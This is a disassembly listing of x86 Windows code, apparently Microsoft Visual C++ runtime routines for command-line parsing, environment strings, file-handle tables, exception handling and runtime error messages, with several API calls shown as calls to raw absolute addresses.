loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		nop
		call	near ptr 2620BD2h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2620EB0h
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2620BD2h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		call	near ptr 2630000h
		nop
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28B0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 26208E8h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		nop
		call	near ptr 2620B35h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2690000h
		nop
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 26208E8h
		nop
		push	eax
		nop
		call	near ptr 2740000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		nop
		call	near ptr 2610553h


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 2610553h


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_424125
		call	near ptr 26A0CA7h
		nop
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
